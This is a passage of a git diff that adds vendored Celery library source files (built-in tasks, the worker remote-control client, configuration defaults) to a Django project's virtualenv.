"""Current timezone for this app. + + This is a cached property taking the time zone from the + :setting:`timezone` setting. + """ + conf = self.conf + if not conf.timezone: + if conf.enable_utc: + return timezone.utc + else: + return timezone.local + return timezone.get_timezone(conf.timezone) + + +App = Celery # XXX compat diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/builtins.py b/django_lottopy/lib/python3.10/site-packages/celery/app/builtins.py new file mode 100644 index 00000000..1a79c409 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/builtins.py @@ -0,0 +1,187 @@ +"""Built-in Tasks. + +The built-in tasks are always available in all app instances. +""" +from celery._state import connect_on_app_finalize +from celery.utils.log import get_logger + +__all__ = () +logger = get_logger(__name__) + + +@connect_on_app_finalize +def add_backend_cleanup_task(app): + """Task used to clean up expired results. + + If the configured backend requires periodic cleanup this task is also + automatically configured to run every day at 4am (requires + :program:`celery beat` to be running). + """ + @app.task(name='celery.backend_cleanup', shared=False, lazy=False) + def backend_cleanup(): + app.backend.cleanup() + return backend_cleanup + + +@connect_on_app_finalize +def add_accumulate_task(app): + """Task used by Task.replace when replacing task with group.""" + @app.task(bind=True, name='celery.accumulate', shared=False, lazy=False) + def accumulate(self, *args, **kwargs): + index = kwargs.get('index') + return args[index] if index is not None else args + return accumulate + + +@connect_on_app_finalize +def add_unlock_chord_task(app): + """Task used by result backends without native chord support. + + Will joins chord by creating a task chain polling the header + for completion. + """ + from celery.canvas import maybe_signature + from celery.exceptions import ChordError + from celery.result import allow_join_result, result_from_tuple + + @app.task(name='celery.chord_unlock', max_retries=None, shared=False, + default_retry_delay=app.conf.result_chord_retry_interval, ignore_result=True, lazy=False, bind=True) + def unlock_chord(self, group_id, callback, interval=None, + max_retries=None, result=None, + Result=app.AsyncResult, GroupResult=app.GroupResult, + result_from_tuple=result_from_tuple, **kwargs): + if interval is None: + interval = self.default_retry_delay + + # check if the task group is ready, and if so apply the callback. + callback = maybe_signature(callback, app) + deps = GroupResult( + group_id, + [result_from_tuple(r, app=app) for r in result], + app=app, + ) + j = deps.join_native if deps.supports_native_join else deps.join + + try: + ready = deps.ready() + except Exception as exc: + raise self.retry( + exc=exc, countdown=interval, max_retries=max_retries, + ) + else: + if not ready: + raise self.retry(countdown=interval, max_retries=max_retries) + + callback = maybe_signature(callback, app=app) + try: + with allow_join_result(): + ret = j( + timeout=app.conf.result_chord_join_timeout, + propagate=True, + ) + except Exception as exc: # pylint: disable=broad-except + try: + culprit = next(deps._failed_join_report()) + reason = f'Dependency {culprit.id} raised {exc!r}' + except StopIteration: + reason = repr(exc) + logger.exception('Chord %r raised: %r', group_id, exc) + app.backend.chord_error_from_stack(callback, ChordError(reason)) + else: + try: + callback.delay(ret) + except Exception as exc: # pylint: disable=broad-except + logger.exception('Chord %r raised: %r', group_id, exc) + app.backend.chord_error_from_stack( + callback, + exc=ChordError(f'Callback error: {exc!r}'), + ) + return unlock_chord + + +@connect_on_app_finalize +def add_map_task(app): + from celery.canvas import signature + + @app.task(name='celery.map', shared=False, lazy=False) + def xmap(task, it): + task = signature(task, app=app).type + return [task(item) for item in it] + return xmap + + +@connect_on_app_finalize +def add_starmap_task(app): + from celery.canvas import signature + + @app.task(name='celery.starmap', shared=False, lazy=False) + def xstarmap(task, it): + task = signature(task, app=app).type + return [task(*item) for item in it] + return xstarmap + + +@connect_on_app_finalize +def add_chunk_task(app): + from celery.canvas import chunks as _chunks + + @app.task(name='celery.chunks', shared=False, lazy=False) + def chunks(task, it, n): + return _chunks.apply_chunks(task, it, n) + return chunks + + +@connect_on_app_finalize +def add_group_task(app): + """No longer used, but here for backwards compatibility.""" + from celery.canvas import maybe_signature + from celery.result import result_from_tuple + + @app.task(name='celery.group', bind=True, shared=False, lazy=False) + def group(self, tasks, result, group_id, partial_args, add_to_parent=True): + app = self.app + result = result_from_tuple(result, app) + # any partial args are added to all tasks in the group + taskit = (maybe_signature(task, app=app).clone(partial_args) + for i, task in enumerate(tasks)) + with app.producer_or_acquire() as producer: + [stask.apply_async(group_id=group_id, producer=producer, + add_to_parent=False) for stask in taskit] + parent = app.current_worker_task + if add_to_parent and parent: + parent.add_trail(result) + return result + return group + + +@connect_on_app_finalize +def add_chain_task(app): + """No longer used, but here for backwards compatibility.""" + @app.task(name='celery.chain', shared=False, lazy=False) + def chain(*args, **kwargs): + raise NotImplementedError('chain is not a real task') + return chain + + +@connect_on_app_finalize +def add_chord_task(app): + """No longer used, but here for backwards compatibility.""" + from celery import chord as _chord + from celery import group + from celery.canvas import maybe_signature + + @app.task(name='celery.chord', bind=True, ignore_result=False, + shared=False, lazy=False) + def chord(self, header, body, partial_args=(), interval=None, + countdown=1, max_retries=None, eager=False, **kwargs): + app = self.app + # - convert back to group if serialized + tasks = header.tasks if isinstance(header, group) else header + header = group([ + maybe_signature(s, app=app) for s in tasks + ], app=self.app) + body = maybe_signature(body, app=app) + ch = _chord(header, body) + return ch.run(header, body, partial_args, app, interval, + countdown, max_retries, **kwargs) + return chord diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/control.py b/django_lottopy/lib/python3.10/site-packages/celery/app/control.py new file mode 100644 index 00000000..551ae68b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/control.py @@ -0,0 +1,744 @@ +"""Worker Remote Control Client. + +Client for worker remote control commands. +Server implementation is in :mod:`celery.worker.control`. +There are two types of remote control commands: + +* Inspect commands: Does not have side effects, will usually just return some value + found in the worker, like the list of currently registered tasks, the list of active tasks, etc. + Commands are accessible via :class:`Inspect` class. + +* Control commands: Performs side effects, like adding a new queue to consume from. + Commands are accessible via :class:`Control` class. +""" +import warnings + +from billiard.common import TERM_SIGNAME +from kombu.matcher import match +from kombu.pidbox import Mailbox +from kombu.utils.compat import register_after_fork +from kombu.utils.functional import lazy +from kombu.utils.objects import cached_property + +from celery.exceptions import DuplicateNodenameWarning +from celery.utils.log import get_logger +from celery.utils.text import pluralize + +__all__ = ('Inspect', 'Control', 'flatten_reply') + +logger = get_logger(__name__) + +W_DUPNODE = """\ +Received multiple replies from node {0}: {1}. +Please make sure you give each node a unique nodename using +the celery worker `-n` option.\ +""" + + +def flatten_reply(reply): + """Flatten node replies. + + Convert from a list of replies in this format:: + + [{'a@example.com': reply}, + {'b@example.com': reply}] + + into this format:: + + {'a@example.com': reply, + 'b@example.com': reply} + """ + nodes, dupes = {}, set() + for item in reply: + [dupes.add(name) for name in item if name in nodes] + nodes.update(item) + if dupes: + warnings.warn(DuplicateNodenameWarning( + W_DUPNODE.format( + pluralize(len(dupes), 'name'), ', '.join(sorted(dupes)), + ), + )) + return nodes + + +def _after_fork_cleanup_control(control): + try: + control._after_fork() + except Exception as exc: # pylint: disable=broad-except + logger.info('after fork raised exception: %r', exc, exc_info=1) + + +class Inspect: + """API for inspecting workers. + + This class provides proxy for accessing Inspect API of workers. The API is + defined in :py:mod:`celery.worker.control` + """ + + app = None + + def __init__(self, destination=None, timeout=1.0, callback=None, + connection=None, app=None, limit=None, pattern=None, + matcher=None): + self.app = app or self.app + self.destination = destination + self.timeout = timeout + self.callback = callback + self.connection = connection + self.limit = limit + self.pattern = pattern + self.matcher = matcher + + def _prepare(self, reply): + if reply: + by_node = flatten_reply(reply) + if (self.destination and + not isinstance(self.destination, (list, tuple))): + return by_node.get(self.destination) + if self.pattern: + pattern = self.pattern + matcher = self.matcher + return {node: reply for node, reply in by_node.items() + if match(node, pattern, matcher)} + return by_node + + def _request(self, command, **kwargs): + return self._prepare(self.app.control.broadcast( + command, + arguments=kwargs, + destination=self.destination, + callback=self.callback, + connection=self.connection, + limit=self.limit, + timeout=self.timeout, reply=True, + pattern=self.pattern, matcher=self.matcher, + )) + + def report(self): + """Return human readable report for each worker. + + Returns: + Dict: Dictionary ``{HOSTNAME: {'ok': REPORT_STRING}}``. + """ + return self._request('report') + + def clock(self): + """Get the Clock value on workers. + + >>> app.control.inspect().clock() + {'celery@node1': {'clock': 12}} + + Returns: + Dict: Dictionary ``{HOSTNAME: CLOCK_VALUE}``. + """ + return self._request('clock') + + def active(self, safe=None): + """Return list of tasks currently executed by workers. + + Arguments: + safe (Boolean): Set to True to disable deserialization. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. + + See Also: + For ``TASK_INFO`` details see :func:`query_task` return value. + + """ + return self._request('active', safe=safe) + + def scheduled(self, safe=None): + """Return list of scheduled tasks with details. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_SCHEDULED_INFO,...]}``. + + Here is the list of ``TASK_SCHEDULED_INFO`` fields: + + * ``eta`` - scheduled time for task execution as string in ISO 8601 format + * ``priority`` - priority of the task + * ``request`` - field containing ``TASK_INFO`` value. + + See Also: + For more details about ``TASK_INFO`` see :func:`query_task` return value. + """ + return self._request('scheduled') + + def reserved(self, safe=None): + """Return list of currently reserved tasks, not including scheduled/active. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. + + See Also: + For ``TASK_INFO`` details see :func:`query_task` return value. + """ + return self._request('reserved') + + def stats(self): + """Return statistics of worker. + + Returns: + Dict: Dictionary ``{HOSTNAME: STAT_INFO}``. + + Here is the list of ``STAT_INFO`` fields: + + * ``broker`` - Section for broker information. + * ``connect_timeout`` - Timeout in seconds (int/float) for establishing a new connection. + * ``heartbeat`` - Current heartbeat value (set by client). + * ``hostname`` - Node name of the remote broker. + * ``insist`` - No longer used. + * ``login_method`` - Login method used to connect to the broker. + * ``port`` - Port of the remote broker. + * ``ssl`` - SSL enabled/disabled. + * ``transport`` - Name of transport used (e.g., amqp or redis) + * ``transport_options`` - Options passed to transport. + * ``uri_prefix`` - Some transports expects the host name to be a URL. + E.g. ``redis+socket:///tmp/redis.sock``. + In this example the URI-prefix will be redis. + * ``userid`` - User id used to connect to the broker with. + * ``virtual_host`` - Virtual host used. + * ``clock`` - Value of the workers logical clock. This is a positive integer + and should be increasing every time you receive statistics. + * ``uptime`` - Numbers of seconds since the worker controller was started + * ``pid`` - Process id of the worker instance (Main process). + * ``pool`` - Pool-specific section. + * ``max-concurrency`` - Max number of processes/threads/green threads. + * ``max-tasks-per-child`` - Max number of tasks a thread may execute before being recycled. + * ``processes`` - List of PIDs (or thread-id’s). + * ``put-guarded-by-semaphore`` - Internal + * ``timeouts`` - Default values for time limits. + * ``writes`` - Specific to the prefork pool, this shows the distribution + of writes to each process in the pool when using async I/O. + * ``prefetch_count`` - Current prefetch count value for the task consumer. + * ``rusage`` - System usage statistics. The fields available may be different on your platform. + From :manpage:`getrusage(2)`: + + * ``stime`` - Time spent in operating system code on behalf of this process. + * ``utime`` - Time spent executing user instructions. + * ``maxrss`` - The maximum resident size used by this process (in kilobytes). + * ``idrss`` - Amount of non-shared memory used for data (in kilobytes times + ticks of execution) + * ``isrss`` - Amount of non-shared memory used for stack space + (in kilobytes times ticks of execution) + * ``ixrss`` - Amount of memory shared with other processes + (in kilobytes times ticks of execution). + * ``inblock`` - Number of times the file system had to read from the disk + on behalf of this process. + * ``oublock`` - Number of times the file system has to write to disk + on behalf of this process. + * ``majflt`` - Number of page faults that were serviced by doing I/O. + * ``minflt`` - Number of page faults that were serviced without doing I/O. + * ``msgrcv`` - Number of IPC messages received. + * ``msgsnd`` - Number of IPC messages sent. + * ``nvcsw`` - Number of times this process voluntarily invoked a context switch. + * ``nivcsw`` - Number of times an involuntary context switch took place. + * ``nsignals`` - Number of signals received. + * ``nswap`` - The number of times this process was swapped entirely + out of memory. + * ``total`` - Map of task names and the total number of tasks with that type + the worker has accepted since start-up. + """ + return self._request('stats') + + def revoked(self): + """Return list of revoked tasks. + + >>> app.control.inspect().revoked() + {'celery@node1': ['16f527de-1c72-47a6-b477-c472b92fef7a']} + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK_ID, ...]}``. + """ + return self._request('revoked') + + def registered(self, *taskinfoitems): + """Return all registered tasks per worker. + + >>> app.control.inspect().registered() + {'celery@node1': ['task1', 'task1']} + >>> app.control.inspect().registered('serializer', 'max_retries') + {'celery@node1': ['task_foo [serializer=json max_retries=3]', 'tasb_bar [serializer=json max_retries=3]']} + + Arguments: + taskinfoitems (Sequence[str]): List of :class:`~celery.app.task.Task` + attributes to include. + + Returns: + Dict: Dictionary ``{HOSTNAME: [TASK1_INFO, ...]}``. + """ + return self._request('registered', taskinfoitems=taskinfoitems) + registered_tasks = registered + + def ping(self, destination=None): + """Ping all (or specific) workers. + + >>> app.control.inspect().ping() + {'celery@node1': {'ok': 'pong'}, 'celery@node2': {'ok': 'pong'}} + >>> app.control.inspect().ping(destination=['celery@node1']) + {'celery@node1': {'ok': 'pong'}} + + Arguments: + destination (List): If set, a list of the hosts to send the + command to, when empty broadcast to all workers. + + Returns: + Dict: Dictionary ``{HOSTNAME: {'ok': 'pong'}}``. + + See Also: + :meth:`broadcast` for supported keyword arguments. + """ + if destination: + self.destination = destination + return self._request('ping') + + def active_queues(self): + """Return information about queues from which worker consumes tasks. + + Returns: + Dict: Dictionary ``{HOSTNAME: [QUEUE_INFO, QUEUE_INFO,...]}``. + + Here is the list of ``QUEUE_INFO`` fields: + + * ``name`` + * ``exchange`` + * ``name`` + * ``type`` + * ``arguments`` + * ``durable`` + * ``passive`` + * ``auto_delete`` + * ``delivery_mode`` + * ``no_declare`` + * ``routing_key`` + * ``queue_arguments`` + * ``binding_arguments`` + * ``consumer_arguments`` + * ``durable`` + * ``exclusive`` + * ``auto_delete`` + * ``no_ack`` + * ``alias`` + * ``bindings`` + * ``no_declare`` + * ``expires`` + * ``message_ttl`` + * ``max_length`` + * ``max_length_bytes`` + * ``max_priority`` + + See Also: + See the RabbitMQ/AMQP documentation for more details about + ``queue_info`` fields. + Note: + The ``queue_info`` fields are RabbitMQ/AMQP oriented. + Not all fields applies for other transports. + """ + return self._request('active_queues') + + def query_task(self, *ids): + """Return detail of tasks currently executed by workers. + + Arguments: + *ids (str): IDs of tasks to be queried. + + Returns: + Dict: Dictionary ``{HOSTNAME: {TASK_ID: [STATE, TASK_INFO]}}``. + + Here is the list of ``TASK_INFO`` fields: + * ``id`` - ID of the task + * ``name`` - Name of the task + * ``args`` - Positinal arguments passed to the task + * ``kwargs`` - Keyword arguments passed to the task + * ``type`` - Type of the task + * ``hostname`` - Hostname of the worker processing the task + * ``time_start`` - Time of processing start + * ``acknowledged`` - True when task was acknowledged to broker + * ``delivery_info`` - Dictionary containing delivery information + * ``exchange`` - Name of exchange where task was published + * ``routing_key`` - Routing key used when task was published + * ``priority`` - Priority used when task was published + * ``redelivered`` - True if the task was redelivered + * ``worker_pid`` - PID of worker processin the task + + """ + # signature used be unary: query_task(ids=[id1, id2]) + # we need this to preserve backward compatibility. + if len(ids) == 1 and isinstance(ids[0], (list, tuple)): + ids = ids[0] + return self._request('query_task', ids=ids) + + def conf(self, with_defaults=False): + """Return configuration of each worker. + + Arguments: + with_defaults (bool): if set to True, method returns also + configuration options with default values. + + Returns: + Dict: Dictionary ``{HOSTNAME: WORKER_CONFIGURATION}``. + + See Also: + ``WORKER_CONFIGURATION`` is a dictionary containing current configuration options. + See :ref:`configuration` for possible values. + """ + return self._request('conf', with_defaults=with_defaults) + + def hello(self, from_node, revoked=None): + return self._request('hello', from_node=from_node, revoked=revoked) + + def memsample(self): + """Return sample current RSS memory usage. + + Note: + Requires the psutils library. + """ + return self._request('memsample') + + def memdump(self, samples=10): + """Dump statistics of previous memsample requests. + + Note: + Requires the psutils library. + """ + return self._request('memdump', samples=samples) + + def objgraph(self, type='Request', n=200, max_depth=10): + """Create graph of uncollected objects (memory-leak debugging). + + Arguments: + n (int): Max number of objects to graph. + max_depth (int): Traverse at most n levels deep. + type (str): Name of object to graph. Default is ``"Request"``. + + Returns: + Dict: Dictionary ``{'filename': FILENAME}`` + + Note: + Requires the objgraph library. + """ + return self._request('objgraph', num=n, max_depth=max_depth, type=type) + + +class Control: + """Worker remote control client.""" + + Mailbox = Mailbox + + def __init__(self, app=None): + self.app = app + self.mailbox = self.Mailbox( + app.conf.control_exchange, + type='fanout', + accept=app.conf.accept_content, + serializer=app.conf.task_serializer, + producer_pool=lazy(lambda: self.app.amqp.producer_pool), + queue_ttl=app.conf.control_queue_ttl, + reply_queue_ttl=app.conf.control_queue_ttl, + queue_expires=app.conf.control_queue_expires, + reply_queue_expires=app.conf.control_queue_expires, + ) + register_after_fork(self, _after_fork_cleanup_control) + + def _after_fork(self): + del self.mailbox.producer_pool + + @cached_property + def inspect(self): + """Create new :class:`Inspect` instance.""" + return self.app.subclass_with_self(Inspect, reverse='control.inspect') + + def purge(self, connection=None): + """Discard all waiting tasks. + + This will ignore all tasks waiting for execution, and they will + be deleted from the messaging server. + + Arguments: + connection (kombu.Connection): Optional specific connection + instance to use. If not provided a connection will + be acquired from the connection pool. + + Returns: + int: the number of tasks discarded. + """ + with self.app.connection_or_acquire(connection) as conn: + return self.app.amqp.TaskConsumer(conn).purge() + discard_all = purge + + def election(self, id, topic, action=None, connection=None): + self.broadcast( + 'election', connection=connection, destination=None, + arguments={ + 'id': id, 'topic': topic, 'action': action, + }, + ) + + def revoke(self, task_id, destination=None, terminate=False, + signal=TERM_SIGNAME, **kwargs): + """Tell all (or specific) workers to revoke a task by id (or list of ids). + + If a task is revoked, the workers will ignore the task and + not execute it after all. + + Arguments: + task_id (Union(str, list)): Id of the task to revoke + (or list of ids). + terminate (bool): Also terminate the process currently working + on the task (if any). + signal (str): Name of signal to send to process if terminate. + Default is TERM. + + See Also: + :meth:`broadcast` for supported keyword arguments. + """ + return self.broadcast('revoke', destination=destination, arguments={ + 'task_id': task_id, + 'terminate': terminate, + 'signal': signal, + }, **kwargs) + + def terminate(self, task_id, + destination=None, signal=TERM_SIGNAME, **kwargs): + """Tell all (or specific) workers to terminate a task by id (or list of ids). + + See Also: + This is just a shortcut to :meth:`revoke` with the terminate + argument enabled. + """ + return self.revoke( + task_id, + destination=destination, terminate=True, signal=signal, **kwargs) + + def ping(self, destination=None, timeout=1.0, **kwargs): + """Ping all (or specific) workers. + + >>> app.control.ping() + [{'celery@node1': {'ok': 'pong'}}, {'celery@node2': {'ok': 'pong'}}] + >>> app.control.ping(destination=['celery@node2']) + [{'celery@node2': {'ok': 'pong'}}] + + Returns: + List[Dict]: List of ``{HOSTNAME: {'ok': 'pong'}}`` dictionaries. + + See Also: + :meth:`broadcast` for supported keyword arguments. + """ + return self.broadcast( + 'ping', reply=True, arguments={}, destination=destination, + timeout=timeout, **kwargs) + + def rate_limit(self, task_name, rate_limit, destination=None, **kwargs): + """Tell workers to set a new rate limit for task by type. + + Arguments: + task_name (str): Name of task to change rate limit for. + rate_limit (int, str): The rate limit as tasks per second, + or a rate limit string (`'100/m'`, etc. + see :attr:`celery.app.task.Task.rate_limit` for + more information). + + See Also: + :meth:`broadcast` for supported keyword arguments. + """ + return self.broadcast( + 'rate_limit', + destination=destination, + arguments={ + 'task_name': task_name, + 'rate_limit': rate_limit, + }, + **kwargs) + + def add_consumer(self, queue, + exchange=None, exchange_type='direct', routing_key=None, + options=None, destination=None, **kwargs): + """Tell all (or specific) workers to start consuming from a new queue. + + Only the queue name is required as if only the queue is specified + then the exchange/routing key will be set to the same name ( + like automatic queues do). + + Note: + This command does not respect the default queue/exchange + options in the configuration. + + Arguments: + queue (str): Name of queue to start consuming from. + exchange (str): Optional name of exchange. + exchange_type (str): Type of exchange (defaults to 'direct') + command to, when empty broadcast to all workers. + routing_key (str): Optional routing key. + options (Dict): Additional options as supported + by :meth:`kombu.entity.Queue.from_dict`. + + See Also: + :meth:`broadcast` for supported keyword arguments. + """ + return self.broadcast( + 'add_consumer', + destination=destination, + arguments=dict({ + 'queue': queue, + 'exchange': exchange, + 'exchange_type': exchange_type, + 'routing_key': routing_key, + }, **options or {}), + **kwargs + ) + + def cancel_consumer(self, queue, destination=None, **kwargs): + """Tell all (or specific) workers to stop consuming from ``queue``. + + See Also: + Supports the same arguments as :meth:`broadcast`. + """ + return self.broadcast( + 'cancel_consumer', destination=destination, + arguments={'queue': queue}, **kwargs) + + def time_limit(self, task_name, soft=None, hard=None, + destination=None, **kwargs): + """Tell workers to set time limits for a task by type. + + Arguments: + task_name (str): Name of task to change time limits for. + soft (float): New soft time limit (in seconds). + hard (float): New hard time limit (in seconds). + **kwargs (Any): arguments passed on to :meth:`broadcast`. + """ + return self.broadcast( + 'time_limit', + arguments={ + 'task_name': task_name, + 'hard': hard, + 'soft': soft, + }, + destination=destination, + **kwargs) + + def enable_events(self, destination=None, **kwargs): + """Tell all (or specific) workers to enable events. + + See Also: + Supports the same arguments as :meth:`broadcast`. + """ + return self.broadcast( + 'enable_events', arguments={}, destination=destination, **kwargs) + + def disable_events(self, destination=None, **kwargs): + """Tell all (or specific) workers to disable events. + + See Also: + Supports the same arguments as :meth:`broadcast`. + """ + return self.broadcast( + 'disable_events', arguments={}, destination=destination, **kwargs) + + def pool_grow(self, n=1, destination=None, **kwargs): + """Tell all (or specific) workers to grow the pool by ``n``. + + See Also: + Supports the same arguments as :meth:`broadcast`. + """ + return self.broadcast( + 'pool_grow', arguments={'n': n}, destination=destination, **kwargs) + + def pool_shrink(self, n=1, destination=None, **kwargs): + """Tell all (or specific) workers to shrink the pool by ``n``. + + See Also: + Supports the same arguments as :meth:`broadcast`. + """ + return self.broadcast( + 'pool_shrink', arguments={'n': n}, + destination=destination, **kwargs) + + def autoscale(self, max, min, destination=None, **kwargs): + """Change worker(s) autoscale setting. + + See Also: + Supports the same arguments as :meth:`broadcast`. + """ + return self.broadcast( + 'autoscale', arguments={'max': max, 'min': min}, + destination=destination, **kwargs) + + def shutdown(self, destination=None, **kwargs): + """Shutdown worker(s). + + See Also: + Supports the same arguments as :meth:`broadcast` + """ + return self.broadcast( + 'shutdown', arguments={}, destination=destination, **kwargs) + + def pool_restart(self, modules=None, reload=False, reloader=None, + destination=None, **kwargs): + """Restart the execution pools of all or specific workers. + + Keyword Arguments: + modules (Sequence[str]): List of modules to reload. + reload (bool): Flag to enable module reloading. Default is False. + reloader (Any): Function to reload a module. + destination (Sequence[str]): List of worker names to send this + command to. + + See Also: + Supports the same arguments as :meth:`broadcast` + """ + return self.broadcast( + 'pool_restart', + arguments={ + 'modules': modules, + 'reload': reload, + 'reloader': reloader, + }, + destination=destination, **kwargs) + + def heartbeat(self, destination=None, **kwargs): + """Tell worker(s) to send a heartbeat immediately. + + See Also: + Supports the same arguments as :meth:`broadcast` + """ + return self.broadcast( + 'heartbeat', arguments={}, destination=destination, **kwargs) + + def broadcast(self, command, arguments=None, destination=None, + connection=None, reply=False, timeout=1.0, limit=None, + callback=None, channel=None, pattern=None, matcher=None, + **extra_kwargs): + """Broadcast a control command to the celery workers. + + Arguments: + command (str): Name of command to send. + arguments (Dict): Keyword arguments for the command. + destination (List): If set, a list of the hosts to send the + command to, when empty broadcast to all workers. + connection (kombu.Connection): Custom broker connection to use, + if not set, a connection will be acquired from the pool. + reply (bool): Wait for and return the reply. + timeout (float): Timeout in seconds to wait for the reply. + limit (int): Limit number of replies. + callback (Callable): Callback called immediately for + each reply received. + pattern (str): Custom pattern string to match + matcher (Callable): Custom matcher to run the pattern to match + """ + with self.app.connection_or_acquire(connection) as conn: + arguments = dict(arguments or {}, **extra_kwargs) + if pattern and matcher: + # tests pass easier without requiring pattern/matcher to + # always be sent in + return self.mailbox(conn)._broadcast( + command, arguments, destination, reply, timeout, + limit, callback, channel=channel, + pattern=pattern, matcher=matcher, + ) + else: + return self.mailbox(conn)._broadcast( + command, arguments, destination, reply, timeout, + limit, callback, channel=channel, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/defaults.py b/django_lottopy/lib/python3.10/site-packages/celery/app/defaults.py new file mode 100644 index 00000000..596c750f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/defaults.py @@ -0,0 +1,408 @@ +"""Configuration introspection and defaults.""" +from collections import deque, namedtuple +from datetime import timedelta + +from celery.utils.functional import memoize +from celery.utils.serialization import strtobool + +__all__ = ('Option', 'NAMESPACES', 'flatten', 'find') + + +DEFAULT_POOL = 'prefork' + +DEFAULT_ACCEPT_CONTENT = ['json'] +DEFAULT_PROCESS_LOG_FMT = """ + [%(asctime)s: %(levelname)s/%(processName)s] %(message)s +""".strip() +DEFAULT_TASK_LOG_FMT = """[%(asctime)s: %(levelname)s/%(processName)s] \ +%(task_name)s[%(task_id)s]: %(message)s""" + +DEFAULT_SECURITY_DIGEST = 'sha256' + + +OLD_NS = {'celery_{0}'} +OLD_NS_BEAT = {'celerybeat_{0}'} +OLD_NS_WORKER = {'celeryd_{0}'} + +searchresult = namedtuple('searchresult', ('namespace', 'key', 'type')) + + +def Namespace(__old__=None, **options): + if __old__ is not None: + for key, opt in options.items(): + if not opt.old: + opt.old = {o.format(key) for o in __old__} + return options + + +def old_ns(ns): + return {f'{ns}_{{0}}'} + + +class Option: + """Describes a Celery configuration option.""" + + alt = None + deprecate_by = None + remove_by = None + old = set() + typemap = {'string': str, 'int': int, 'float': float, 'any': lambda v: v, + 'bool': strtobool, 'dict': dict, 'tuple': tuple} + + def __init__(self, default=None, *args, **kwargs): + self.default = default + self.type = kwargs.get('type') or 'string' + for attr, value in kwargs.items(): + setattr(self, attr, value) + + def to_python(self, value): + return self.typemap[self.type](value) + + def __repr__(self): + return '{} default->{!r}>'.format(self.type, + self.default) + + +NAMESPACES = Namespace( + accept_content=Option(DEFAULT_ACCEPT_CONTENT, type='list', old=OLD_NS), + result_accept_content=Option(None, type='list'), + enable_utc=Option(True, type='bool'), + imports=Option((), type='tuple', old=OLD_NS), + include=Option((), type='tuple', old=OLD_NS), + timezone=Option(type='string', old=OLD_NS), + beat=Namespace( + __old__=OLD_NS_BEAT, + + max_loop_interval=Option(0, type='float'), + schedule=Option({}, type='dict'), + scheduler=Option('celery.beat:PersistentScheduler'), + schedule_filename=Option('celerybeat-schedule'), + sync_every=Option(0, type='int'), + ), + broker=Namespace( + url=Option(None, type='string'), + read_url=Option(None, type='string'), + write_url=Option(None, type='string'), + transport=Option(type='string'), + transport_options=Option({}, type='dict'), + connection_timeout=Option(4, type='float'), + connection_retry=Option(True, type='bool'), + connection_max_retries=Option(100, type='int'), + failover_strategy=Option(None, type='string'), + heartbeat=Option(120, type='int'), + heartbeat_checkrate=Option(3.0, type='int'), + login_method=Option(None, type='string'), + pool_limit=Option(10, type='int'), + use_ssl=Option(False, type='bool'), + + host=Option(type='string'), + port=Option(type='int'), + user=Option(type='string'), + password=Option(type='string'), + vhost=Option(type='string'), + ), + cache=Namespace( + __old__=old_ns('celery_cache'), + + backend=Option(), + backend_options=Option({}, type='dict'), + ), + cassandra=Namespace( + entry_ttl=Option(type='float'), + keyspace=Option(type='string'), + port=Option(type='string'), + read_consistency=Option(type='string'), + servers=Option(type='list'), + table=Option(type='string'), + write_consistency=Option(type='string'), + auth_provider=Option(type='string'), + auth_kwargs=Option(type='string'), + options=Option({}, type='dict'), + ), + s3=Namespace( + access_key_id=Option(type='string'), + secret_access_key=Option(type='string'), + bucket=Option(type='string'), + base_path=Option(type='string'), + endpoint_url=Option(type='string'), + region=Option(type='string'), + ), + azureblockblob=Namespace( + container_name=Option('celery', type='string'), + retry_initial_backoff_sec=Option(2, type='int'), + retry_increment_base=Option(2, type='int'), + retry_max_attempts=Option(3, type='int'), + base_path=Option('', type='string'), + connection_timeout=Option(20, type='int'), + read_timeout=Option(120, type='int'), + ), + control=Namespace( + queue_ttl=Option(300.0, type='float'), + queue_expires=Option(10.0, type='float'), + exchange=Option('celery', type='string'), + ), + couchbase=Namespace( + __old__=old_ns('celery_couchbase'), + + backend_settings=Option(None, type='dict'), + ), + arangodb=Namespace( + __old__=old_ns('celery_arangodb'), + backend_settings=Option(None, type='dict') + ), + mongodb=Namespace( + __old__=old_ns('celery_mongodb'), + + backend_settings=Option(type='dict'), + ), + cosmosdbsql=Namespace( + database_name=Option('celerydb', type='string'), + collection_name=Option('celerycol', type='string'), + consistency_level=Option('Session', type='string'), + max_retry_attempts=Option(9, type='int'), + max_retry_wait_time=Option(30, type='int'), + ), + event=Namespace( + __old__=old_ns('celery_event'), + + queue_expires=Option(60.0, type='float'), + queue_ttl=Option(5.0, type='float'), + queue_prefix=Option('celeryev'), + serializer=Option('json'), + exchange=Option('celeryev', type='string'), + ), + redis=Namespace( + __old__=old_ns('celery_redis'), + + backend_use_ssl=Option(type='dict'), + db=Option(type='int'), + host=Option(type='string'), + max_connections=Option(type='int'), + username=Option(type='string'), + password=Option(type='string'), + port=Option(type='int'), + socket_timeout=Option(120.0, type='float'), + socket_connect_timeout=Option(None, type='float'), + retry_on_timeout=Option(False, type='bool'), + socket_keepalive=Option(False, type='bool'), + ), + result=Namespace( + __old__=old_ns('celery_result'), + + backend=Option(type='string'), + cache_max=Option( + -1, + type='int', old={'celery_max_cached_results'}, + ), + compression=Option(type='str'), + exchange=Option('celeryresults'), + exchange_type=Option('direct'), + expires=Option( + timedelta(days=1), + type='float', old={'celery_task_result_expires'}, + ), + persistent=Option(None, type='bool'), + extended=Option(False, type='bool'), + serializer=Option('json'), + backend_transport_options=Option({}, type='dict'), + chord_retry_interval=Option(1.0, type='float'), + chord_join_timeout=Option(3.0, type='float'), + backend_max_sleep_between_retries_ms=Option(10000, type='int'), + backend_max_retries=Option(float("inf"), type='float'), + backend_base_sleep_between_retries_ms=Option(10, type='int'), + backend_always_retry=Option(False, type='bool'), + ), + elasticsearch=Namespace( + __old__=old_ns('celery_elasticsearch'), + + retry_on_timeout=Option(type='bool'), + max_retries=Option(type='int'), + timeout=Option(type='float'), + save_meta_as_text=Option(True, type='bool'), + ), + security=Namespace( + __old__=old_ns('celery_security'), + + certificate=Option(type='string'), + cert_store=Option(type='string'), + key=Option(type='string'), + 